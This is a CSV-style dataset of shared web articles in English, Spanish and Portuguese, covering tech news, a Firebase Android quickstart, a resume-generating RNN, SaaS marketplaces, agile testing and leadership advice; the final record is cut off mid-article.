1461644377,CONTENT SHARED,-6859269826758227273,-1032019229384696495,-940735523977516255,,,,HTML,http://www.engadget.com/2016/04/25/raspberry-pi-sony-camera-sensor/,Raspberry Pi gets an 8-megapixel Sony camera upgrade,"Like many of the big smartphone and tablet makers, the Raspberry Pi Foundation is utilizing Sony's mobile imaging smarts for its new visible-light and infrared cameras. The IMX219 has a fixed-focus sensor and is capable of outputting 3280 x 2464 photos and 1080p HD video at 30fps. Upton says it was chosen for its impressive image quality, colour fidelity and low-light performance, which plays nicely with the Raspberry Pi's Videocore IV GPU after some specialist tuning by former Broadcom imaging engineer Naush Patuck. As is normally the case with any new Raspberry Pi launch, the hardware retains the same price (before taxes) as its predecessor. The visible-light and infrared cameras are available now from RS Components and Element 14 , with more resellers set to follow ""soon.""",en
1461644492,CONTENT SHARED,5728858831120768412,-1032019229384696495,-940735523977516255,,,,HTML,http://www.infoworld.com/article/3060838/application-development/new-functional-programming-language-can-generate-c-python-code-for-apps.html,"New functional programming language can generate C, Python code for apps","Researchers at the University of Copenhagen's Department of Computer Science recently unveiled Futhark , an open source functional programming language designed for creating code that runs on GPUs, for use in machine learning and other high-performance applications. Futhark is meant to be more convenient to use than standard C/C++ frameworks for programming GPUs. It can automatically generate both C and Python code to be integrated with existing apps. Most GPU programming involves using frameworks like OpenCL or CUDA , both of which use variations of C or C++ to generate code that runs on the GPU. Futhark can generate C code, but is its own language , more similar to Haskell or Standard ML than C. (Futhark is itself written in Haskell.) Futhark's creators claim that the expressiveness of the language makes it easier to describe complex operations that use parallelism. This includes the ability to support nested parallelizations (parallel operations inside other parallel operations). Futhark can do this ""despite the complexities of efficiently mapping to the flat parallelism supported by hardware, as a great many programs depend on this feature,"" say the language's creators. Some preliminary benchmarks pitting Futhark GPU programs against other GPU libraries showed mixed but promising results. For a maximum segment sum test, Futhark was nearly twice as fast as a competing open source project. In other cases, it matched or was only slightly slower than the competition. Futhark's developers attributed this to the newness of the language and its still unrefined way of allocating and reusing memory. The current Futhark toolchain can generate code capable of running on either the CPU or GPU, and with a variety of targets. For the former, it generates C code compiled by the GCC compiler; for the latter, it generates C code that uses the OpenCL platform. This way, the same code run on whatever hardware is available to support it, in much the same way that GPU-accelerated apps like the MapD database can fall back to using the CPU if needed. Python users who want a speed boost can generate code with Futhark wrapped automatically in a Python module. The actual GPU code runs by way of PyOpenCL , which is a library for interfacing with GPUs. There are some examples of it being used this way, such as a Futhark-driven GPU implementation of Conway's Game of Life . Because Futhark is still fundamentally a research project, it is not yet as polished or complete as other languages. The documentation is also incomplete, but both docs and language are open source on GitHub.",en
1461661114,CONTENT SHARED,5659318589553771161,-1443636648652872475,-7247025038927211444,,,,HTML,https://www.untapt.com/blog/2016/04/25/neural-network-that-dreams-resumes/,A Neural Network that Dreams in Resumes - untapt blog,"If a neural network can write Shakespeare, could it write a resume for you? Inspired by the remarkable results of Recurrent Neural Networks and using thousands of anonymized resumes from untapt , I've been experimenting with applying deep learning techniques to the CV. Inspiration There's a seminal blog post called The Unreasonable Effectiveness of Recurrent Neural Networks by Andrej Karpathy, a PhD student and instructor at Stanford. Andrej is taken by surprise by the magical results from Recurrent Neural Networks, a particular type of neural network that can process arbitrary sequences of inputs. In one example, he feeds the Complete Works of Shakespeare into an RNN. He asks his creation to dream up new passages of Shakespeare. The result could have come from the bard himself. It gives me goose bumps every time I read it. It got me thinking. Could we try something similar using our data at untapt? If we combine the anonymized resumes from all our members, we have seven times the data of the Complete Works . We could feed this into an RNN and have it imagine a new resume. The Neural Network I used TensorFlow , the open source deep learning library from Google. The data scientists here also pointed me at TFLearn , a higher-level API to speed up experiments. For those new to neural networks, Google also made a brilliant playground to illustrate how they work. We spun up a beefy 40 core box on AWS and set it loose. After a couple of false starts, my RNN, code-named deep_orange , started to dream up resumes. Early Results After a few hours of thinking, the work experience wasn't looking too inspirational: Developed and complite the to to anales, and an enterprise project on hull to the analysis and inalysis that team of test and applications and providing resign systeming Yikes. That's not going to get deep_orange many interviews. But it's important to remember, it's fed a sequence of characters with absolutely no knowledge of the English language, the structure of words and punctuation, and definitely no understanding of the make-up of a resume. We're asking a lot. Maybe more time is needed. By the next day there was a glimmer of progress. Ontendated and complete and sales product successful office for the components for a company test for company for track and process to company content of cases for design It's starting to recognize the structure of a resume. It's fun to see it invent the name of a company. A few days later, something magical emerged. I watched as deep_orange dreamed up believable work experience. LAN CONSULTANCY SERVICES - SENIOR SOFTWARE DEVELOPER Development: Integrated Reporting services to manage and develop internal and external solutions for the financial standards and processes of clients Not quite ready to be submitted to a hiring manager... but getting there. The resume of the future Could this actually add value for software developers looking for jobs? Potentially, yes. One day, deep_orange , with a few modifications, might predict whether a resume will be invited to interview, or suggest improvements. We're barely scratching the surface. Much more to come. In the meantime if you're interested to see how we are applying machine intelligence to the hiring process, please sign up for untapt , or follow me at @edwarddonner . Ed is co-founder and CEO of untapt. A FinTech veteran and an Oxford alum, Ed was previously MD at JPMorgan and has held technology positions at IBM and various startups. Coder by day, Ed leads a double life as DJ after work. And if you happen to run into him, ask him how much he loves Seamless (hint: a lot).",en
1461661415,CONTENT SHARED,7024819429467163565,-1443636648652872475,-7247025038927211444,,,,HTML,http://thenextweb.com/apps/2016/04/25/972703/,Chrome extension brings Medium's best feature to the whole Web,"Productivity is the by-word of high-achievers everywhere. Pack more into your finite time and you'll get more done. Simple. One way to help claw back a few minutes might be to limit the amount of 'useful' time you spend doing things you could better achieve at another time, like on the commute to work, for example. A simple Chrome extension called Readism should help you achieve this, and has just one job: to accurately tell you how long it's going to take you to read an article (or entire book, if you have more time on your hands). It's like Medium's most useful feature, applied to the whole Web. To use it, all you need to do is install the Chrome extension . Really, that's it if you want a general indication of reading time - you won't even need to sign up or sign in. If you want to get a slightly more accurate idea of how long an article is going to take to read, then creating an account walks you through a paragraph of test text in order to see how quickly you read. Don't skip ahead though, you'll be tested on three parts from it. Once you've done that, you're all set and each time you load an article in your Chrome browser, a little pop-up reading time button will appear in the bottom-right corner of the page. The extension's icon also shows how long the current article will take to read, as you can set the page reminder to fade out after a few seconds. You can adjust the length of time it stays on-screen and the size of the notification in the settings. Readism - Chrome Web Store on Readism Ben is European Editor of The Next Web with a focus on startups, gadgets and lifestyle tech. Now a technology journalist with a specialism in mobile devices and a geeky love of mobile spectrum issues. Ben used to be a professional online poker player. You can contact him on ben@thenextweb.com , via Twitter or on Google+ .",en
1461672437,CONTENT SHARED,4654349179360175629,-8860671864164757449,4032008597372001905,,,,HTML,http://www.elpais.cr/2016/04/22/costa-rica-presenta-su-primer-edificio-construido-con-tetra-pak-reciclado/,Costa Rica presenta su primer edificio construido con tetra pak reciclado,"San José, 22 abr (EFE).- Autoridades de Costa Rica presentaron hoy, en el marco del Día de la Tierra, el primer edificio del país construido en parte con Reciclam, un material elaborado a partir de empaques de tetra pak. Se trata del Centro de Gestión y Educación Ambiental (Cegea) del estatal Parque La Libertad, situado en la localidad de Desamparados, en el sector su de San José. El Cegea, que tiene una extensión de 725,6 metros cuadrados, comenzó a ser construido en julio de 2015 y se emplearon aproximadamente 250 láminas de Reciclam para el acondicionamiento de las paredes internas y el mobiliario, informó el Gobierno en un comunicado. El material reciclado fue donado por la Cooperativa de Productores de Leche Dos Pinos R.L. ""El Cegea se constituye como un espacio para promover la recuperación y el fortalecimiento de la educación ambiental. Si queremos ser ciudades sostenibles y hacer de los objetivos globales de desarrollo sostenible un componente personal, hay que educar a la población en que sí hay opciones para tener una vida integral"", dijo la gestora ambiental del Parque La Libertad, Lidia Noches. El Parque La Libertad ofrecerá en el Cegea programas de formación y capacitación en temas ambientales y agropecuarios, especialmente para las comunidades del sur de San José. Desde ese centro también se promoverá la búsqueda de soluciones integrales y participativas que tengan una incidencia en las comunidades y en la calidad de vida de sus habitantes, a partir de una gestión ambiental responsable y sostenible. El Cegea desarrollará tres áreas de abordaje: la sensibilización, la sostenibilidad y la ecoeficiencia. ""Para el Parque La Libertad contar con un espacio tan bien acondicionado para darle servicios a la comunidad en temas de sostenibilidad ambiental es de suma importancia. El espacio en sí mismo es un ejemplo de lo que nosotros tenemos que hacer con nuestras vidas y nuestra responsabilidad con el planeta"", expresó la directora del Parque, Dora Sequeira. EFE",es
1461681611,CONTENT SHARED,-6734931185433789466,1623838599684589103,6222408877142178924,,,,HTML,https://www.firebase.com/docs/android/quickstart.html,Android Quickstart - Firebase,"The first thing you need to do to get started with Firebase is sign up for a free account . A brand new Firebase app will automatically be created for you with its own unique URL ending in firebaseio.com . We'll use this URL to store and sync data. To use Firebase features in your Android application you can add a dependency to Gradle or Maven in your project or download the latest SDK. As of version 1.1, Firebase has different SDKs for Android and the JVM. This sections demonstrates Android. If you are developing on the JVM please add a dependency to firebase-client-jvm instead. Using Gradle or Maven We publish builds of our Android and Java SDK to the Maven central repository. To install the library inside Android Studio, you can simply declare it as dependency in your build.gradle file: dependencies { compile 'com.firebase:firebase-client-android:2.5.2+' } If you are getting a build error complaining about duplicate files you can choose to exclude those files by adding the packagingOptions directive to your build.gradle file: android { ... packagingOptions { exclude 'META-INF/LICENSE' exclude 'META-INF/LICENSE-FIREBASE.txt' exclude 'META-INF/NOTICE' } } If you use Maven to build your application, you can add the following dependency to your pom.xml : <dependency> <groupId>com.firebase</groupId> <artifactId>firebase-client-android</artifactId> <version>[2.5.2,)</version> </dependency> Download and Install There is also a plain Java SDK for the JVM available. You can grab the latest Firebase SDK here: Download Firebase Android SDK After downloading the JAR, place it on your application's classpath. Typically, this is in your libs folder. Depending on your IDE, you may need to explicitly add the library to your project as a dependency. Add Android Permissions The Firebase library requires the android.permission.INTERNET permission to operate. Your app will not work unless you add this permission to your AndroidManifest.xml file: Setup Firebase on Android This step is only required on Android and not necessary on the JVM. The Firebase library must be initialized once with an Android context. This must happen before any Firebase app reference is created or used. You can add the setup code to your Android Application's or Activity's onCreate method. @Override public void onCreate() { super.onCreate(); Firebase.setAndroidContext(this); // other setup code } Read & Write to your Firebase Database To read and write data from your Firebase database, we need to first create a reference to it. We do this by passing the URL of your database into the Firebase constructor: Firebase myFirebaseRef = new Firebase("" There are several other ways to create a reference to a location in your database. These are all explained in our Understanding Data document . Writing Data Once we have a reference to your data, we can write any Boolean , Long , Double , Map<String, Object> or List object to it using setValue() : myFirebaseRef.child(""message"").setValue(""Do you have data? You'll love Firebase.""); Our documentation on saving data explains the different write methods our API offers and how to know when the data has been successfully written to your Firebase database. Reading Data Reading data from your Firebase database is accomplished by attaching an event listener and handling the resulting events. Assuming we already wrote to myFirebaseRef above, we can retrieve the message value by using the addValueEventListener method: myFirebaseRef.child(""message"").addValueEventListener(new ValueEventListener() { @Override public void onDataChange(DataSnapshot snapshot) { System.out.println(snapshot.getValue()); //prints ""Do you have data? You'll love Firebase."" } @Override public void onCancelled(FirebaseError error) { } }); Call getValue() on the DataSnapshot returned from the callback to access the returned object. In the example above, the value event will fire once for the initial state of the data, and then again every time the value of that data changes. You can learn more about the various event types and how to handle event data in our documentation on reading data . Authenticate Your Users Firebase provides full support for authenticating users with Email & Password, Facebook, Twitter, GitHub, Google, or your existing authentication system. To get started with Email & Password auth, enable the Email & Password provider in your Firebase app's dashboard: Choose the Login & Auth tab. Select the Email & Password tab and enable authentication. Now that the authentication provider is enabled you can create a new user: myFirebaseRef.createUser(""bobtony@firebase.com"", ""correcthorsebatterystaple"", new Firebase.ValueResultHandler<Map<String, Object>>() { @Override public void onSuccess(Map<String, Object> result) { System.out.println(""Successfully created user account with uid: "" + result.get(""uid"")); } @Override public void onError(FirebaseError firebaseError) { // there was an error } }); Once you've created your first user, you can log them in using the authWithPassword method. Learn how to authenticate via Facebook, Twitter, Google or your own custom system in our User Authentication guide. Use our powerful expression-based Security and Firebase Rules to control access to your data and validate input: { "".read"": true, "".write"": ""auth.uid === 'admin'"", "".validate"": ""newData.isString() && newData.val().length < 500"" } Firebase enforces your Security and Firebase Rules consistently whenever data is accessed. The rules language is designed to be both powerful and flexible, so that you can maintain fine-grained control over your application's data.",en
1461685777,CONTENT SHARED,7036087807129071010,-2726721797588771398,6620217415766244164,,,,HTML,http://venturebeat.com/2016/04/16/how-saas-is-bringing-b2b-marketplaces-back/,How SaaS is bringing B2B marketplaces back,"Online marketplaces are huge. Amazon, Etsy, and Uber prove that C2C and B2C marketplaces have overcome the chicken and egg problem - attracting buyers before there are enough sellers or attracting sellers before there are buyers. By contrast B2B marketplaces have struggled. The annals of startup history are littered with failed attempts like Commerce One and Pepmarket , since it has been far too challenging for these companies to pull in sellers and buyers simultaneously. This has left the lucrative B2B shopping space - which represents 80% of the world economy - relatively manual. But a new sophisticated strategy is emerging that promises to help B2B marketplaces get off the ground. The SaaS-enabled marketplace If a marketplace can't pull in enough buyers to convince B2B sellers that there's value in joining the platform, why not provide another form of value until buyers can be onboarded? According to Sangeet Paul Choudary, author of Platform Revolution , providing B2B tools to attract sellers or buyers before launching a marketplace is a popular emerging solution: ""Increasingly I see the approach of tools-first. Launch a SaaS application that allows businesses to interact with each other and provides single user utility. From there, expand to platform."" The result is what Tomasz Tunguz calls a SaaS-enabled marketplace (SEM), or, as Chris Dixon says, ""Come for the tools, stay for the network."" The proposition is simple: Create a SaaS tool that appeals to potential marketplace sellers Onboard sellers using the SaaS value proposition Create the marketplace leveraging your existing pool of sellers Onboard buyers using the marketplace value proposition Leverage the critical mass of buyers and sellers to scale the marketplace exponentially. Despite recent kinks , Zenefits is a great example of a SaaS-enabled marketplace. CEO Parker Conrad decided that the best way to create a marketplace for small business services like insurance was to create a free SaaS platform that HR managers at small companies could use to automate processes like hiring, benefit management, and timesheet management. Once it had that captive user base of marketplace buyers, the company was free to gradually scale to include marketplace sellers - insurance companies that would offer services to the HR managers. The result? In 2015, Zenefits raised $500 million at a $4.5 billion dollar valuation . This is also the approach we're using at Freightos to build a marketplace for international shipping, helping logistics providers automate freight pricing with a SaaS application that also functions as a gateway for marketplace sales to importers and exporters. The SEM advantage Adopting the one-two punch of a SaaS application as an onboarding tool for a marketplace introduces some key advantages: New marketplace opportunities: At the peak of the dotcom bubble, Gartner predicted we'd have 100,000 B2B marketplaces by 2001. By 2002, it was clear that the actual number wasn't even close. Many marketplaces failed because sellers lacked motivation to go through a lengthy onboarding process before buyers were online, while buyers would never join without sellers. The SEM approach can help with native digital platforms, but a bigger opportunity lies in its ability to automate sellers in manual industries with a SaaS tool, creating a base of sellers to launch a marketplace. Sticky SaaS sellers: Using a SaaS application to onboard sellers means they get value before marketplace launch. Once the marketplace is launched, online sales are a net gain, alleviating the pressure to immediately drive buyers or risk seller abandonment. Marketplace seller validation: SaaS platform usage can function as a filter, ensuring only qualified sellers or buyers are on the marketplace. For example, Zenefits reduces the cost of sale for insurance companies, as companies large enough to require an internal HR management platform are likely prequalified as potential sales targets. Variable marketplace buyer offerings: A major complaint from B2B marketplace buyers before the dotcom bust was that in the B2B sector, size and relationship matter. In other words, there must be some way to adjust pricing for large or prized customers. A SaaS application used to automate internal operations for a seller would need to be able to accommodate sophisticated pricing, which means that an online marketplace relying on the same SaaS platform could as well. Marketplaces can improve SaaS: SEMs don't need to launch with the initial goal of creating a marketplace. When SaaS applications require additional internal resources to get full value, marketplaces can help them work better. Venture capitalist Josh Breinlinger explains this with a hypothetical example where companies A/B testing websites with Optimizely need to design test templates. A marketplace for testing templates could improve the SaaS platform experience. The SEM drawbacks While SEMs can solve some significant challenges, they do introduce their own set of problems: Juggling multiple products: Paul Graham says startups are all about focus. His advice: "" Start a small, intense fire. "" SEMs mean creating both a SaaS platform and a marketplace, which can be incredibly challenging. If there is also a SaaS for buyers, it gets even more complex. At Freightos we find ourselves with four different product offerings, each of which includes multiple sub-KPIs. Capital: Marketplaces are challenging enough. When creating multiple products, headcount demands spike, as does capital drain. Combined with the long B2B sales cycles for the SaaS product itself, SEMs require significant war chests. At Freightos we spent a full three years focusing on the SaaS application alone before even approaching the marketplace. Making the jump: The most dangerous disadvantage lies in making the SaaS-marketplace leap. No matter how well SaaS sells, a successful transition isn't guaranteed. This can be particularly dangerous to SaaS-enabled marketplaces where the SaaS is free, as no revenue stream exists from the SaaS platform. The bottom line SaaS applications have taken over the business world. Marketplaces permeate consumer commerce. Now the SaaS-enabled marketplace business model can herald a new generation of business automation, powering transparent marketplaces in business-to-business interactions. Zvi Schreiber is the CEO of Freightos , a logistics startup handling international freight. He has founded and led multiple tech companies, some of which have been acquired by companies like IBM, GE and VerticalNet. Get more stories like this on Twitter & Facebook",en
1461689512,CONTENT SHARED,6989198691754522425,7890134385692540512,-2241007388742885017,,,,HTML,https://www.sympla.com.br/front-in-bh-2016__54441,Front in BH 2016,"Descrição do evento O Front in BH nasceu da necessidade de fortalecer a comunidade Front-end local, através de um circuito de palestras focado em promover o relacionamento e a integração entre os profissionais de Front-end e das áreas a afins. Além de profissionalizar ainda mais o mercado com a contribuição das palestras para a formação de profissionais mais críticos e capacitados, o Front in BH é pioneiro na abordagem de temas atuais e de interesse comum às áreas de desenvolvimento, design, métricas e afins, através de palestrantes renomados no mercado de desenvolvimento Front-end no Brasil e no exterior. Este pioneirismo impulsionou outros grupos a se organizarem, levando o conceito do Front in BH para pelo menos 5 regiões do país. Hoje o Front in BH chega à sua quinta edição com um passado de grande sucesso e a reputação de ser o melhor evento de Front-end do Brasil novamente.",pt
1461690471,CONTENT SHARED,7206850235815254159,7890134385692540512,-2241007388742885017,,,,HTML,https://www.mountaingoatsoftware.com/blog/sign-up-for-my-new-weekly-email-tips,Sign Up for Mike Cohn's Best Content,"If you like the tips and ideas I share here (and I sure hope you do), I've got some good news for you. I'm changing what has forever been the ""Mountain Goat Software Monthly Newsletter"" to be just quite simply weekly tips from me. Face it: Mountain Goat Software isn't exactly awash with ""news"" so when it came time to write a ""monthly newsletter,"" I never quite knew what to put in there. So, I would write something that was exactly the same as a blog post. And because newsletter content was about the same as blog content, we'd re-publish the newsletter on the blog. Sure, we'd put a little news in the newsletter, but it was mostly sales stuff like a list of classes or cities I was teaching in. You probably didn't want that. So, there's more good news: we're taking the list of courses out of what will now be a weekly tip. You know I teach classes. You know how to figure out where I teach them. Oh sure, the old newsletter occasionally contained news such as I would be speaking at a conference, or that I was working on a new book or video course. And the weekly tips email will still be the first place to read that type of news. So, if you're interested in tips on how to succeed with agile, sign up now . You'll get a new tip from me each Thursday. And this will be your only way to get those tips. I'm saving my best tips for these emails. Tips will not be reposted on the blog as in the past. And, of course, I promise we won't spam you or give your info to anyone else.",en
1461693696,CONTENT SHARED,2505379943041571189,-2979881261169775358,556764245751414479,,,,HTML,http://notaverb.com/logout,"""Logout"" is not a verb","I will repeat the important part for clarity: ""logout"" is not a verb. It's simply not. This site is dedicated to educating people about the common misuses of words like ""logout."" It is meant for both non-native speakers who may not know any better, and for native speakers who should know better but don't. It is in no way a substitute for a real education. Poor grammar is an excellent way to make any presentation sound stupid --or program look sloppy-- so if you intend to use this language much then it behooves you to learn it properly. For clarity, I need to point out that this has nothing to do with verbification, or ""verbing."" It is completely natural for nouns to become verbs and verbs to become nouns; the problem this site addresses is the manner in which that happens for a particular category of word or phrase. This is not an attempt to arrest the evolution of the language, but to correct mistakes. About Verbs Conjugation It is possible to conjugate verbs. They can change tense and mood. They can change number and person. You will see how even basic conjugation fails for ""logout."" Verb: ""Conjugate"" Here are some examples with the verb ""conjugate."" If you doubt that ""conjugate"" is a verb (or need to look up what it means), definitions from dictionary.com and Merriam-Webster agree. Note that, as with many verbs, noun forms exist. Here we're using the verb form. Conjgate is a regular verb, so the present tense is simple. Consider the past tense: The past tense is easy to form with a weak verb like ""conjugate."" This is normal behavior for a verb. English has more complicated verbs, like irregular and strong verbs, but those are generally the oldest verbs in the language. New verbs are regular and weak. Verb: ""Logout"" (?) As a new verb, ""logout"" should follow the regular, weak model that ""conjugate"" exemplifies. Unfortunately, it does not: Notice the problem with the third person singular. However, let's choose to ignore this problem for now. After all, we can't let one little conjugation problem make thousands of programmers and technical writers look like fools. Plowing right ahead, we'll look at the past tense: Unfortunately, not a single one of those sounds right. It seems that ""logout"" can't change tense or conjugate like a normal verb. A Strong Verb? Many older verbs are strong verbs, meaning they change tense by modifying an internal vowel or diphthong. As you will see, it doesn't behave like a strong verb, either. Compare the above behavior to the strong verb ""sing:"" Present Past I sing I sang I run I ran I meet I met See how the strong verb forms its past participle by changing an internal vowel (instead of adding ""ed"" at the end, for example). ""Logout"" does not do that, so it's not a strong verb. A Separate Verb? Some grammarians will call this a ""phrasal"" or ""two-part"" verb, but this is mostly because some grammarians are seeking tenure at their university posts and must publish anything they can to get or keep that coveted teaching spot. Similar motivation has created definitions for ""compound verbs"" and ""stretched verbs"" --all different kinds of verbs, supposedly. Essentially, though, a two-part verb must have two parts and logout only has one. The following list of logout's component parts demonstrates this fact. Part 1: logout Part 2: Having only one part, logout cannot be a two-part verb. True Behavior Someone may make the case that it is irregular. By definition, irregular verbs do not follow rules and have strange conjugations (""I am,"" ""you are,"" ""he is""), but look at how it behaves: The past tense is also predictable: It appears the verb is ""log,"" which behaves like a regular weak verb (doubling the final consonant is normal: sag => sagged, dip => dipped) in both American and English. The verb form is not a verb at all, but an idiom of a verb and a preposition, like ""break down"" or ""shake up."" In fairness to some grammarians, this kind of idiom sometimes has the name ""phrasal verb"" or ""two-part verb."" It's true that most idioms of this kind use strong verbs, since they come from Old Norse influence on the language over a thousand years ago. That makes the ""log out"" idiom unusual, but far more plausible than pretending that we have an irregular verb ""logout"" with something like ""logdout"" as a past participle. No other verb in the American language behaves that way. Even in the arcane, deprecated predecessor of American (English), no verb behaves that way. What is it? As I indicated earlier, I'm sure you can find purists who will argue ""logout"" is not a word at all. For the sake of discussion, I will assume it is a word because I do not care one way or another. Let's look at some possibilities: Adjective Adjectives describe nouns. Let's put ""logout"" with some other adjectives (""stupid"" and ""alabaster"") to see how well they play with each other: The cat is stupid. It is a stupid cat. The cat is alabaster. It is an alabaster cat. The book is logout. It is a logout book. ""Logout"" doesn't work well as an adjective. Adverb Adverbs are to verbs what adjectives are to nouns. Adverbs describe verbs (or, more accurately, the verb actions). Here are some sentences with adverbs. See if you can tell which does not belong: The car runs smoothly. The car runs quietly. The car runs logout logoutly. ""Logout"" doesn't work well as an adverb. Noun Any fourth grader will tell you that a noun is a ""person, place, or thing."" As such, it is something you can have and something you can modify. Behold as I use my language powers to display ownership of the noun ""book"" and then modify it: Owned I have a book. Modified I have a secret book. I own the book, then make it a secret book. Truly, that is grand. Now I will do the same for ""logout."" Owned I have a logout. Modified I have a secret logout. ""Logout,"" it seems, works as a noun. Conclusion Clearly ""logout"" is not a verb. It's simply not. If it is any part of speech at all, it is a noun. While we did not explore every possible part of speech, we saw with certainty that ""logout"" is not a verb. It's simply not. If you take only one thing away from this page, take that one fact: ""logout"" is not a verb. Educate others. Correct manuals, software, and web pages as you find them. Tell everyone you know that ""logout"" is not a verb. You will make a pedant (me) happy. You will earn the respect of grammar nazis. Most importantly, you will know the truth. Solutions Magnanimousness demands that I offer solutions, or correct forms of some of the common abuses of ""logout"" Here are some suggestions, assuming you prefer to use ""logout"" as a word rather than take a more conservative approach and insist the proper form is ""log out"" or ""log-out."" Common Misuse Correction Can you logout? Can you log out? I tried to logout . . . . I tried to log out . . . . Enter your name at the logout prompt. (This is acceptable) Please logout again. Please log out again. What Next What you do with this information is, of course, your choice. As I mentioned above, however, the ideal choice is to use this knowledge for good and correct errors. The more correct examples people see, the more people will stop believing the lie that this is a verb. You can also continue your education by learning about other words that are not verbs . For entertainment you can read a sarcastic rebuttal to the argument that logout really is a verb and the language simply has evolved. © 2006-2016 loginisnotaverb.com Link, quote, reference, and share freely. Be a grown-up and give credit, though. Thanks to Mark Pettit for the corrections to the ""checkout"" page. Thanks to Nathanial Jones for the observation of phrasal verbs . Thanks to someone whose email I deleted before I could record his name for his suggestion to add a note on prepositions. Thanks to John Goodman for the correction on ""carryout"" in the index. Thanks to several people on MetaFilter for observing I need to clarify that the site is not about ""verbing,"" just about correct use of a word/phrase.",en
1461695700,CONTENT SHARED,-5571606607344218289,6003902177042843076,119592526124196527,,,,HTML,http://www.infoq.com/br/news/2015/06/falta-compentencias-testes,Agile: Falta competência nos testes,"Fran O'Hara, diretor e principal consultor da Inspire Quality Services, recentemente compartilhou suas lições aprendidas integrando teste s no ciclo de vida do desenvolvimento ágil . A principal mensagem de O'Hara é que competências de teste são necessárias mesmo quando os papéis tradicionais de testes não existem. Quando equipes ágeis focam somente em automatização de testes funcionais, falhas aparecem em termos de testes exploratórios e outras áreas de risco tais como: testes de integração de sistemas e testes não funcionais (desempenho e usabilidade, por exemplo). Embora o objetivo seja ter equipes multi-funcionais, estas não devem ser compostas somente de especialistas (como um testador, um desenvolvedor, um designer, entre outros) ou por profissionais com formação generalista. Neste último caso a equipe pode não ter as habilidades maduras o suficiente para entregar efetivamente um software. Competências de testes em particular (como levantar casos de teste, esclarecimento de requisitos de negócio ou testes automáticos limpos) tendem a se perder quando organizações interpretam o Scrum ao pé da letra, assim, montando equipes compostas apenas por desenvolvedores (além do Scrum Master e do Product Owner). De acordo com O'Hara, equipes com profissionais com habilidades de testes regulares tem desempenho melhor do que equipes que não tem, provando a necessidade de misturar as habilidades e até mesmo os traços de personalidades (testadores tendem a ter uma pedante atenção aos detalhes para encontrar equívocos e brechas nos requisitos antes que eles sejam inseridos no produto) da equipe. Outras competências tipicamente atribuídas para gerente de testes ou qualidade no desenvolvimento tradicional como definição do processo e estratégia de testes e planejamento de testes podem ser necessárias no desenvolvimento ágil, adiciona O'Hara. Por um lado, muitas organizações ainda agrupam novas funcionalidades em grandes versões, que exigem algum nível de integração de sistemas para entregar. Por outro lado, quando equipes de desenvolvimento ágil que fazem testes durante o desenvolvimento (usando TDD e BDD por exemplo) ainda focam tipicamente em aspectos funcionais das estórias de usuário, deixando de fora o desempenho, usabilidade e outros requisitos não funcionais. O último ainda precisa ser executado em algum momento antes da entrega, necessitando assim de coordenação e planejamento. O'Hara recomenda o apontamento de campeões ou consultores de testes que podem trabalhar aconselhando múltiplas equipes sobre como preencher competências de testes faltantes. O objetivo final é alcançar uma integração completa dos testes nas equipes multi-funcionais, como no cenário C da imagem a seguir: O'Hara alerta que múltiplas práticas de trabalho são necessárias para alcançar este nível de integração de testes, a partir de uma abordagem de testes de aceitação, incluindo tarefas de testes (como testes de ambiente / configuração inicial ou testes exploratórios) no planejamento da sprint, limitando o trabalho em progresso em algumas histórias de cada vez, evitando que os testes e validações sejam o último passo (por exemplo, ""validação"" ser a última coluna do quadro de tarefas é um mau sinal), efetivo e frequente refinamento do backlog, foco na qualidade do código (padrões de código, revisões, TDD, BDD) e aderente a uma rigorosa definição de pronto (mesmo em tempos de estresse). Discutindo os requisitos de uma perspectiva de negócio durante o refinamento do backlog (diminuindo a extensão do planejamento da sprint) é também uma atividade crucial, mas de acordo com O'Hara, para que esta atividade seja efetiva o Product Owner deve trazer para a mesa não apenas funcionalidades de alto nível, mas também um conjunto inicial de critérios de aceitação que podem em seguida ser discutido e refinado pela equipe em pequenas estórias dentro do escopo. Finalmente, retrospectivas devem focar em melhorar a definição de pronto para ajudar a gerenciar débito técnico e garantir a qualidade interna (código) e externa (funcional e não funcional), diz O'Hara.",pt
1461698179,CONTENT SHARED,6044362651232258738,6013226412048763966,4613953821207157764,,,,HTML,http://vocesa.uol.com.br/noticias/acervo/cinco-competencias-comportamentais-para-voce-ser-um-bom-lider.phtml,Cinco competências comportamentais para você ser um bom líder,"escritório | Crédito: pixabay Por que algumas pessoas se tornam bem-sucedidas e outras não? Essa era a pergunta que incomodava Marcelo Veras, professor de planejamento de carreira e presidente da Inova Business School, de Campinas. Para ele, livros, workshops e cursos não eram o suficiente para responder à questão, que ouvia constantemente dos alunos em sala de aula. ""Queria saber o que as pessoas que de fato chegaram ao topo tinham a dizer sobre isso"", afirma. Foi assim que, em julho de 2006, começou uma pesquisa sobre o assunto. Procurou pessoas em posições importantes de liderança, como diretores nacionais, vice-presidentes e presidentes para fazer uma pergunta simples: ""Quais competências o trouxeram até aqui e como você definiria cada uma delas?"". Foram mais de 170 entrevistados desde então. A partir das respostas, Marcelo reuniu uma lista das principais habilidades apontadas pelos bem-sucedidos. Elas são divididas em três categorias: comportamentais (como agimos em relação a nós mesmos e às pessoas); técnicas (domínio da área de atuação e de competências básicas de linguagem e leitura); e de gestão, que, claro, têm a ver com nossa atitude na condição de líderes de pessoas e de negócios. Marcelo compara essas competências a um macarrão à bolonhesa. As competências técnicas são o espaguete, as comportamentais, o molho e o resultado final, as competências de gestão, são o macarrão à bolonhesa. ""No curto prazo, ter apenas algumas competências funciona, mas, no fim, só uma combinação sólida é que mantém os líderes em seus cargos"", diz. Ou seja, as habilidades fazem mais sentido quando combinadas entre si e usadas de forma coerente. E, claro, dificilmente alguém terá todas elas superdesenvolvidas, mas criará um conjunto sólido delas - a sua própria receita. ""Querer desenvolver todas as competências no mesmo grau é utopia"", diz Adriana Prates, presidente da Dasein Executive Search, consultoria de recrutamento, de Belo Horizonte. ""As pessoas são diferentes e vão se destacar por diferentes motivos."" O segredo é identificar quais são as mais importantes para você. Ter essa clareza nem sempre é fácil, até porque envolve aceitar as limitações que temos, além de um conhecimento aprofundado de si mesmo. Esse entendimento serve, inclusive, para ver quando vale mais melhorar os pontos fortes e deixar os fracos de lado. Tudo isso demanda saber escutar os outros e receber bem os feedbacks, além de criar o hábito de pensar sobre si mesmo. Para fazer isso, Silvana Mello, diretora da Lee Hecht Harrison, consultoria de transição de carreira, de São Paulo, propõe um exercício de autoanálise baseado em três dimensões. A primeira é tentar definir o que se busca em termos de carreira e vida no longo prazo. A segunda é entender por que você busca esses objetivos e o que motiva suas atitudes. A terceira é pensar como você fará para alcançar esses objetivos e que valores usará para chegar lá. ""Gosto desse modelo de tripé porque ele serve para buscar uma coerência no dia a dia e 